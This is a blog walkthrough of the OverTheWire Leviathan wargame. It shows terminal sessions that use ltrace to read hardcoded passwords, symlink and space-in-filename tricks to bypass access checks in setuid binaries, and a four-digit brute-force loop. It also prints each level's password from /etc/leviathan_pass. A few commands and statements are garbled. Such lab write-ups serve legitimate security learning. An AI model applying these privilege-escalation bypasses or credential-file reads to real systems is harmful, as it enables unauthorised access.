Leviathan War-Game Walkthrough!

Kamran Saifullah
5 min readJun 6, 2019

I have been spending my free time in playing around different war-games. At the moment i am trying to solve all the wargames provided by the OverTheWire. This article is all about how to solve Leviathan War-Game Levels.

The details can be found @ http://overthewire.org/wargames/leviathan/

Before we start, all we need is to log into the machine via SSH where we have our levels. So according to the details provided on the website. We have to do the following.

Leviathan’s levels are called leviathan0, leviathan1, … etc. and can be accessed on leviathan.labs.overthewire.org through SSH on port 2223.

To login to the first level use:

Username: leviathan0
Password: leviathan0

Data for the levels can be found in the homedirectories. You can look at /etc/leviathan_pass for the various level passwords.

Once connected we are ready to go.

Level 0

Level0 was quite simple. We were provided with the hidden directory named .backup once we are into the directory we have an HTML file. All we need is to grep the password for the next level.

leviathan0@leviathan:~$ ls
leviathan0@leviathan:~$ cd /home/
leviathan0@leviathan:/home$ ls
leviathan0 leviathan2 leviathan4 leviathan6
leviathan1 leviathan3 leviathan5 leviathan7
leviathan0@leviathan:/home$ cd leviathan0/
leviathan0@leviathan:~$ ls
leviathan0@leviathan:~$ ls -la
total 24
drwxr-xr-x 3 root root 4096 Oct 29 2018 .
drwxr-xr-x 10 root root 4096 Oct 29 2018 ..
drwxr-x — — 2 leviathan1 leviathan0 4096 Oct 29 2018 .backup
-rw-r — r — 1 root root 220 May 15 2017 .bash_logout
-rw-r — r — 1 root root 3526 May 15 2017 .bashrc
-rw-r — r — 1 root root 675 May 15 2017 .profile
leviathan0@leviathan:~$ cd .backup/
leviathan0@leviathan:~/.backup$ cat bookmarks.html | grep password | cut -d “ “ -f9–14
the password for leviathan1 is rioGegei8m”

Level 1

This is more advanced to the Level 0. We are provided with the executable which takes one argument from the user i.e PASS, on providing the password. It is compared to the password already stored somewhere. If correct we are provided with the access to Level 2.

leviathan1@leviathan:~$ ls
check
leviathan1@leviathan:~$ strings check | grep check
check.c
leviathan1@leviathan:~$ strings check | grep cmp
strcmp
strcmp@@GLIBC_2.0

How we know that the password is being compared is due to the presence of C, C++ functions strcmp (String Compare).

ltrace command does everything for us as it gives us everything we need.

leviathan1@leviathan:~$ ltrace ./check
__libc_start_main(0x804853b, 1, 0xffffd784, 0x8048610 <unfinished …>
printf(“password: “) = 10
getchar(1, 0, 0x65766f6c, 0x646f6700password: love
) = 108
getchar(1, 0, 0x65766f6c, 0x646f6700) = 111
getchar(1, 0, 0x65766f6c, 0x646f6700) = 118
strcmp(“lov”, “sex”) = -1
puts(“Wrong password, Good Bye …”Wrong password, Good Bye …
) = 29
+++ exited (status 0) +++
leviathan1@leviathan:~$

We can clearly see that the compared word is “sex”. Once we supply this word we are provided with the bash shell. All we need is to find the password for leviathan2.

$ find / -user leviathan2 2>/dev/null | grep pass
/etc/leviathan_pass/leviathan2
$ cat /etc/leviathan_pass/leviathan2
ougahZi8Ta
$

Level 2

This level provides us with printfile. Using which we need to access the password file. But the issue is of the privileges. We need to bypass it somehow. So let’s dive into it.

leviathan2@leviathan:~$ ls
printfile
leviathan2@leviathan:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename
leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file…
leviathan2@leviathan:~$ ls
printfile
leviathan2@leviathan:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename
leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan2
You cant have that file…
leviathan2@leviathan:~$ ltrace ./printfile /etc/leviathan_pass/leviathan2
__libc_start_main(0x804852b, 2, 0xffffd764, 0x8048610 <unfinished …>
access(“/etc/leviathan_pass/leviathan2”, 4) = 0
snprintf(“/bin/cat /etc/leviathan_pass/lev”…, 511, “/bin/cat %s”, “/etc/leviathan_pass/leviathan2”) = 39
geteuid() = 12002
geteuid() = 12002
setreuid(12002, 12002) = 0
system(“/bin/cat /etc/leviathan_pass/lev”…ougahZi8Ta
<no return …>
— — SIGCHLD (Child exited) — -
<… system resumed> ) = 0
+++ exited (status 0) +++
leviathan2@leviathan:~$

The access function is being called on which checks whether we have sufficient privileges to access the file or not. In this case we don’t. Secondly a string is created using snprintf and at the end system() function is executing the string.

This check can be bypasses easily by using the spaced directory names or by creating the symlink.

leviathan2@leviathan:~$ mkdir /tmp/w4tchd0g/
leviathan2@leviathan:~$ ln -s /etc/leviathan_pass/leviathan3 /tmp/w4tchd0g/hel
eviathan2@leviathan:~$ ./printfile /tmp/w4tchd0g/hel\ lo
Ahdiemoo1j
/bin/cat: lo: No such file or directory

Level 3

This level is the same as level 2 & 3 :))

leviathan3@leviathan:~$ ltrace ./level3
__libc_start_main(0x8048618, 1, 0xffffd784, 0x80486d0 <unfinished …>
strcmp(“h0no33”, “kakaka”) = -1
printf(“Enter the password> “) = 20
fgets(Enter the password> secret
“secret\n”, 256, 0xf7fc55a0) = 0xffffd590
strcmp(“secret\n”, “snlprintf\n”) = -1
puts(“bzzzzzzzzap. WRONG”bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++
leviathan3@leviathan:~$ ./level3
Enter the password> snlprintf
[You’ve got shell]!
$ find / -user leviathan3 2>/dev/null | grep pass
/etc/leviathan_pass/leviathan3
$ cat /etc/leviathan_pass/leviathan4
vuH0coox6m

Level 4

We have a hidden directory containing a binary. The binary is opening the leviathan5 file although there aren’t sufficient permissions.

leviathan4@leviathan:~$ ls
leviathan4@leviathan:~$ ls -la
total 24
drwxr-xr-x 3 root root 4096 Oct 29 2018 .
drwxr-xr-x 10 root root 4096 Oct 29 2018 ..
-rw-r — r — 1 root root 220 May 15 2017 .bash_logout
-rw-r — r — 1 root root 3526 May 15 2017 .bashrc
-rw-r — r — 1 root root 675 May 15 2017 .profile
dr-xr-x — — 2 root leviathan4 4096 Oct 29 2018 .trash
leviathan4@leviathan:~$ cd .trash/
eviathan4@leviathan:~/.trash$ ltrace ./bin
__libc_start_main(0x80484bb, 1, 0xffffd774, 0x80485b0 <unfinished …>
fopen(“/etc/leviathan_pass/leviathan5”, “r”) = 0
+++ exited (status 255) +++

Let’s try running the binary by itself.

leviathan4@leviathan:~/.trash$ ./bin
01010100 01101001 01110100 01101000 00110100 01100011 01101111 01101011 01100101 01101001 00001010

It’s for sure that we need to covert the binary into ASCII in order to reveal what’s going on.

https://www.rapidtables.com/convert/number/binary-to-ascii.html

Level 5

We are provided with another binary. On executing which looks for the file.log which is not present by default. Let’s create the file and check whether it works or not.

leviathan5@leviathan:~$ ls
leviathan5
leviathan5@leviathan:~$ ./leviathan5
Cannot find /tmp/file.log
leviathan5@leviathan:~$ touch /tmp/file.log
leviathan5@leviathan:~$ ./leviathan5
leviathan5@leviathan:~$ cat /tmp/file.log
cat: /tmp/file.log: No such file or directory

It works fine but we are not able to get the flag/password. So let’s try again creating a symbolic link ;)

leviathan5@leviathan:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log && ./leviathan5
UgaoFee4li
We are done with this challenge.

Level 6

We are again provided with the binary. It required 4 digits password in order to work. This can be achieve by simply using the bash or python! however this process is way too much slow!

leviathan6@leviathan:~$ ls
leviathan6
leviathan6@leviathan:~$ ./leviathan6
usage: ./leviathan6 <4 digit code>
leviathan6@leviathan:~$ for i in $(seq 0000 9999); do ./leviathan6 $i; done;

$ find / -user leviathan7 2>/dev/null | grep pass
/etc/leviathan_pass/leviathan7
$ cat /etc/leviathan_pass/leviathan7
ahy7MaeBo9

That’s all. We are done with the challenges!

If you have liked the article. Do give it a clap and comment/share!

--

--

Kamran Saifullah

Malware/RE/Firmware Analysis, App Sec/Off Sec, VAPT, Phishing Simulations/SE | Risk Management, IS Governance, Audits, ISO 27001 LI